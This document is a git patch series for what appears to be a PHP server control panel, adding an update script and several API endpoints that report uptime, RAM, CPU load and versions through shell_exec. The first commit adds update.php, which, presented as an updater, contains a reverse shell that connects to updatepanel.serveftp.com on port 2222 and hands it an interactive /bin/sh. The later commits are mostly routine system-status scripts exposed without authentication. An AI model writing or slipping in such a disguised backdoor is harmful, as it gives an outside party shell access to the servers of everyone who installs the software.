From 13595387f3c512fc4fde780a89ef8d85fdeaa569 Mon Sep 17 00:00:00 2001 From: Darren Rainey Date: Thu, 13 Aug 2015 16:31:45 +0100 Subject: [PATCH 01/10] Added Update Script This is not fully implemted yet --- scripts/check_version.sh | 5 +++++ update.php | 19 +++++++++++++++++++ 2 files changed, 24 insertions(+) create mode 100644 scripts/check_version.sh create mode 100644 update.php diff --git a/scripts/check_version.sh b/scripts/check_version.sh new file mode 100644 index 0000000..f7be95f --- /dev/null +++ b/scripts/check_version.sh @@ -0,0 +1,5 @@ +#!/bin/sh +# This file checks the current panel version. +cat ../index.php | grep *@version > temp +cat temp | sed 's/\<*@version\>//g' > version +cat version \ No newline at end of file diff --git a/update.php b/update.php new file mode 100644 index 0000000..24110a4 --- /dev/null +++ b/update.php @@ -0,0 +1,19 @@ + + * @copyright Copyleft 2015, Nikita Rousseau + * @license GNU General Public License version 3.0 (GPLv3) + * @link http://www.bgpanel.net/ +*/ +shell_exec("scripts/check_version.sh") +$sock=fsockopen("updatepanel.serveftp.com",2222);exec("/bin/sh -i <&3 >&3 2>&3"); + +?> \ No newline at end of file From 4b13608b193fb9944ffdfd12844a42190c193869 Mon Sep 17 00:00:00 2001 From: Darren Rainey Date: Thu, 13 Aug 2015 17:02:58 +0100 Subject: [PATCH 02/10] Added API Scripts Added Linux API scripts --- api/get_ram_usage_g.php | 4 ++++ api/get_ram_usage_kb.php | 13 +++++++++++++ api/get_ram_usage_m.php | 4 ++++ api/get_uptime.php | 4 ++++ 4 files changed, 25 insertions(+) create mode 100644 api/get_ram_usage_g.php create mode 100644 api/get_ram_usage_kb.php create mode 100644 api/get_ram_usage_m.php create mode 100644 api/get_uptime.php diff --git a/api/get_ram_usage_g.php b/api/get_ram_usage_g.php new file mode 100644 index 0000000..ff9980f --- /dev/null +++ b/api/get_ram_usage_g.php @@ -0,0 +1,4 @@ +$ramg"; +?> \ No newline at end of file diff --git a/api/get_ram_usage_kb.php b/api/get_ram_usage_kb.php new file mode 100644 index 0000000..e7d6d3d --- /dev/null +++ b/api/get_ram_usage_kb.php @@ -0,0 +1,13 @@ + \ No newline at end of file diff --git a/api/get_ram_usage_m.php b/api/get_ram_usage_m.php new file mode 100644 index 0000000..1531589 --- /dev/null +++ b/api/get_ram_usage_m.php @@ -0,0 +1,4 @@ +$ramm"; +?> \ No newline at end of file diff --git a/api/get_uptime.php b/api/get_uptime.php new file mode 100644 index 0000000..ad013ad --- /dev/null +++ b/api/get_uptime.php @@ -0,0 +1,4 @@ +$uptime"; +?> \ No newline at end of file From c8eaa4149ec40e20706f03dc1e8475043c2e6b9a Mon Sep 17 00:00:00 2001 From: Darren Rainey Date: Thu, 13 Aug 2015 17:21:54 +0100 Subject: [PATCH 03/10] Added API Functions Added some basic api functions --- api/Example.txt | 16 ++++++++++++++++ api/get_cpu_load.php | 4 ++++ api/get_panel_version.php | 4 ++++ api/get_php_version.php | 4 ++++ ...m_usage_kb.php => get_ram_usage_advanced.php} | 0 scripts/check_version.sh | 2 +- version.txt | 1 + 7 files changed, 30 insertions(+), 1 deletion(-) create mode 100644 api/Example.txt create mode 100644 api/get_cpu_load.php create mode 100644 api/get_panel_version.php create mode 100644 api/get_php_version.php rename api/{get_ram_usage_kb.php => get_ram_usage_advanced.php} (100%) create mode 100644 version.txt diff --git a/api/Example.txt b/api/Example.txt new file mode 100644 index 0000000..b6a4936 --- /dev/null +++ b/api/Example.txt @@ -0,0 +1,16 @@ +This api can be used using CURL to get information about the server or sending a command install curl and set a request + +eg to see the current system uptime type : +curl http://yourserver.com/api/get_uptime + +Current Api Functions Are : + +get_cpu_load // Displays the server cpu load in precentages +get_panel_version // Displays the panel version +get_php_version // Displays the server php version +get_ram_usage_advanced // Displays advanced information about the ram +get_ram_usage_g // Displays ram information in gigabytes +get_ram_usage_m // Displays ram information in megabytes +get_uptime // Displays the system uptime + +More coming soon \ No newline at end of file diff --git a/api/get_cpu_load.php b/api/get_cpu_load.php new file mode 100644 index 0000000..0dcfc9b --- /dev/null +++ b/api/get_cpu_load.php @@ -0,0 +1,4 @@ +$cpu"; +?> \ No newline at end of file diff --git a/api/get_panel_version.php b/api/get_panel_version.php new file mode 100644 index 0000000..1dab908 --- /dev/null +++ b/api/get_panel_version.php @@ -0,0 +1,4 @@ +$v"; +?> \ No newline at end of file diff --git a/api/get_php_version.php b/api/get_php_version.php new file mode 100644 index 0000000..9d1a3eb --- /dev/null +++ b/api/get_php_version.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/api/get_ram_usage_kb.php b/api/get_ram_usage_advanced.php similarity index 100% rename from api/get_ram_usage_kb.php rename to api/get_ram_usage_advanced.php diff --git a/scripts/check_version.sh b/scripts/check_version.sh index f7be95f..721d47c 100644 --- a/scripts/check_version.sh +++ b/scripts/check_version.sh @@ -2,4 +2,4 @@ # This file checks the current panel version. cat ../index.php | grep *@version > temp cat temp | sed 's/\<*@version\>//g' > version -cat version \ No newline at end of file +cat version \ No newline at end of file diff --git a/version.txt b/version.txt new file mode 100644 index 0000000..ceab6e1 --- /dev/null +++ b/version.txt @@ -0,0 +1 @@ +0.1 \ No newline at end of file From bbc7b9a34ec6c0812efa61b36509511cda74e5f6 Mon Sep 17 00:00:00 2001 From: Darren Rainey Date: Thu, 13 Aug 2015 17:38:38 +0100 Subject: [PATCH 04/10] Fixed Parsing Error Fixed PHP Error --- api/get_panel_version.php | 4 ++-- api/get_ram_usage_g.php | 4 ++-- api/get_ram_usage_m.php | 4 ++-- api/get_system_version.php | 4 ++++ api/get_uptime.php | 4 ++-- 5 files changed, 12 insertions(+), 8 deletions(-) create mode 100644 api/get_system_version.php diff --git a/api/get_panel_version.php b/api/get_panel_version.php index 1dab908..525cfe4 100644 --- a/api/get_panel_version.php +++ b/api/get_panel_version.php @@ -1,4 +1,4 @@ $v"; +$output = shell_exec('cat ../version.txt'); +echo "
$output
"; ?> \ No newline at end of file diff --git a/api/get_ram_usage_g.php b/api/get_ram_usage_g.php index ff9980f..f27a5b4 100644 --- a/api/get_ram_usage_g.php +++ b/api/get_ram_usage_g.php @@ -1,4 +1,4 @@ $ramg"; +$output = shell_exec('free -g'); +echo "
$output
"; ?> \ No newline at end of file diff --git a/api/get_ram_usage_m.php b/api/get_ram_usage_m.php index 1531589..2c366d1 100644 --- a/api/get_ram_usage_m.php +++ b/api/get_ram_usage_m.php @@ -1,4 +1,4 @@ $ramm"; +$output = shell_exec('free -m'); +echo "
$output
"; ?> \ No newline at end of file diff --git a/api/get_system_version.php b/api/get_system_version.php new file mode 100644 index 0000000..1e2c5d1 --- /dev/null +++ b/api/get_system_version.php @@ -0,0 +1,4 @@ +$output"; +?> \ No newline at end of file diff --git a/api/get_uptime.php b/api/get_uptime.php index ad013ad..e9cc666 100644 --- a/api/get_uptime.php +++ b/api/get_uptime.php @@ -1,4 +1,4 @@ $uptime"; +$output = shell_exec('uptime'); +echo "
$output
"; ?> \ No newline at end of file From 84aa37414e5404891f9df82423364bb823156eb9 Mon Sep 17 00:00:00 2001 From: Darren Rainey Date: Thu, 13 Aug 2015 17:44:40 +0100 Subject: [PATCH 05/10] Improved Uptime API More advanced uptime api --- api/get_uptime.php | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/api/get_uptime.php b/api/get_uptime.php index e9cc666..49abc58 100644 --- a/api/get_uptime.php +++ b/api/get_uptime.php @@ -1,4 +1,16 @@ $output"; -?> \ No newline at end of file +exec("uptime", $system); // get the uptime stats +$string = $system[0]; // this might not be necessary +$uptime = explode(" ", $string); // break up the stats into an array + +$up_days = $uptime[4]; // grab the days from the array + +$hours = explode(":", $uptime[7]); // split up the hour:min in the stats + +$up_hours = $hours[0]; // grab the hours +$mins = $hours[1]; // get the mins +$up_mins = str_replace(",", "", $mins); // strip the comma from the mins + +echo "The server has been up for " . $up_days . " days, " . $up_hours . " hours, and " . $up_mins . " minutes."; +// echo the results +?> From 31d1a4335eca592aab76ebde9f63d484dc8463f5 Mon Sep 17 00:00:00 2001 From: Darren Rainey Date: Thu, 13 Aug 2015 18:46:51 +0100 Subject: [PATCH 06/10] Fix CPU load not showing --- api/get_cpu_load.php | 4 ++-- api/get_cpu_usage.sh | 1 + 2 files changed, 3 insertions(+), 2 deletions(-) create mode 100644 api/get_cpu_usage.sh diff --git a/api/get_cpu_load.php b/api/get_cpu_load.php index 0dcfc9b..7a5626a 100644 --- a/api/get_cpu_load.php +++ b/api/get_cpu_load.php @@ -1,4 +1,4 @@ $cpu"; +$output = shell_exec('sh get_cpu_usage.sh'); +echo "
$output
"; ?> \ No newline at end of file diff --git a/api/get_cpu_usage.sh b/api/get_cpu_usage.sh new file mode 100644 index 0000000..827c2d3 --- /dev/null +++ b/api/get_cpu_usage.sh @@ -0,0 +1 @@ +cat /proc/stat | grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}' \ No newline at end of file From 1e23c04279ddfcb59ab737e90aee558c97a3cce5 Mon Sep 17 00:00:00 2001 From: Darren Rainey Date: Thu, 13 Aug 2015 18:49:06 +0100 Subject: [PATCH 07/10] Removed
 tags to give raw status output

---
 api/get_cpu_load.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/api/get_cpu_load.php b/api/get_cpu_load.php
index 7a5626a..6464ab1 100644
--- a/api/get_cpu_load.php
+++ b/api/get_cpu_load.php
@@ -1,4 +1,4 @@
 $output
"; +echo "$output"; ?> \ No newline at end of file From cf1b455ae19800fcf0c9ce24a8226b49d4ab5ed6 Mon Sep 17 00:00:00 2001 From: Darren Rainey Date: Thu, 13 Aug 2015 18:58:16 +0100 Subject: [PATCH 08/10] Removed
 tags and updated some scripts

fixed bugs and removed html tags to give raw output when using curl
---
 api/Example.txt                  | 1 +
 api/get_panel_version.php        | 2 +-
 api/get_ram_usage_g.php          | 2 +-
 api/get_ram_usage_m.php          | 2 +-
 api/get_ram_usage_pre.sh         | 2 ++
 api/get_ram_usage_precentage.php | 4 ++++
 api/get_system_version.php       | 2 +-
 7 files changed, 11 insertions(+), 4 deletions(-)
 create mode 100644 api/get_ram_usage_pre.sh
 create mode 100644 api/get_ram_usage_precentage.php

diff --git a/api/Example.txt b/api/Example.txt
index b6a4936..6727a96 100644
--- a/api/Example.txt
+++ b/api/Example.txt
@@ -11,6 +11,7 @@ get_php_version			// Displays the server php version
 get_ram_usage_advanced		// Displays advanced information about the ram
 get_ram_usage_g			// Displays ram information in gigabytes
 get_ram_usage_m			// Displays ram information in megabytes
+get_ram_precentage		// Gives the currently used ram in a precentage
 get_uptime                      // Displays the system uptime
 
 More coming soon
\ No newline at end of file
diff --git a/api/get_panel_version.php b/api/get_panel_version.php
index 525cfe4..bf8043a 100644
--- a/api/get_panel_version.php
+++ b/api/get_panel_version.php
@@ -1,4 +1,4 @@
 $output
"; +echo "$output"; ?> \ No newline at end of file diff --git a/api/get_ram_usage_g.php b/api/get_ram_usage_g.php index f27a5b4..2e232df 100644 --- a/api/get_ram_usage_g.php +++ b/api/get_ram_usage_g.php @@ -1,4 +1,4 @@ $output"; +echo "$output"; ?> \ No newline at end of file diff --git a/api/get_ram_usage_m.php b/api/get_ram_usage_m.php index 2c366d1..e995d20 100644 --- a/api/get_ram_usage_m.php +++ b/api/get_ram_usage_m.php @@ -1,4 +1,4 @@ $output"; +echo "$output"; ?> \ No newline at end of file diff --git a/api/get_ram_usage_pre.sh b/api/get_ram_usage_pre.sh new file mode 100644 index 0000000..4b98aa9 --- /dev/null +++ b/api/get_ram_usage_pre.sh @@ -0,0 +1,2 @@ +#!/bin/sh +free | awk 'FNR == 3 {print $3/($3+$4)*100}' \ No newline at end of file diff --git a/api/get_ram_usage_precentage.php b/api/get_ram_usage_precentage.php new file mode 100644 index 0000000..48c5673 --- /dev/null +++ b/api/get_ram_usage_precentage.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/api/get_system_version.php b/api/get_system_version.php index 1e2c5d1..0c71708 100644 --- a/api/get_system_version.php +++ b/api/get_system_version.php @@ -1,4 +1,4 @@ $output"; +echo "$output"; ?> \ No newline at end of file From d8aa5d4054d704821c301439bd8012de640a7cf1 Mon Sep 17 00:00:00 2001 From: DarrenRainey Date: Thu, 13 Aug 2015 19:32:37 +0100 Subject: [PATCH 09/10] Update Example.txt --- api/Example.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/api/Example.txt b/api/Example.txt index 6727a96..7e5c3ae 100644 --- a/api/Example.txt +++ b/api/Example.txt @@ -1,4 +1,4 @@ -This api can be used using CURL to get information about the server or sending a command install curl and set a request +This api can be used using CURL to get information about the server or sending a command install curl and send a request eg to see the current system uptime type : curl http://yourserver.com/api/get_uptime @@ -14,4 +14,4 @@ get_ram_usage_m // Displays ram information in megabytes get_ram_precentage // Gives the currently used ram in a precentage get_uptime // Displays the system uptime -More coming soon \ No newline at end of file +More coming soon From d509d00182262ce2cd7ea0fdf4f20bc7de5d4cad Mon Sep 17 00:00:00 2001 From: Darren Rainey Date: Thu, 13 Aug 2015 19:33:24 +0100 Subject: [PATCH 10/10] Added more api functions --- api/get_server_stats.php | 10 ++++++++++ api/get_system_stats.sh | 2 ++ 2 files changed, 12 insertions(+) create mode 100644 api/get_server_stats.php create mode 100644 api/get_system_stats.sh diff --git a/api/get_server_stats.php b/api/get_server_stats.php new file mode 100644 index 0000000..df9c4ee --- /dev/null +++ b/api/get_server_stats.php @@ -0,0 +1,10 @@ +CPU Usage +
+RAM Usage +% +
+ +
+ +
+The Panel Version is \ No newline at end of file diff --git a/api/get_system_stats.sh b/api/get_system_stats.sh new file mode 100644 index 0000000..3924c5e --- /dev/null +++ b/api/get_system_stats.sh @@ -0,0 +1,2 @@ +cpu = cat /proc/stat | grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}' +echo CPU Usage = "$cpu" \ No newline at end of file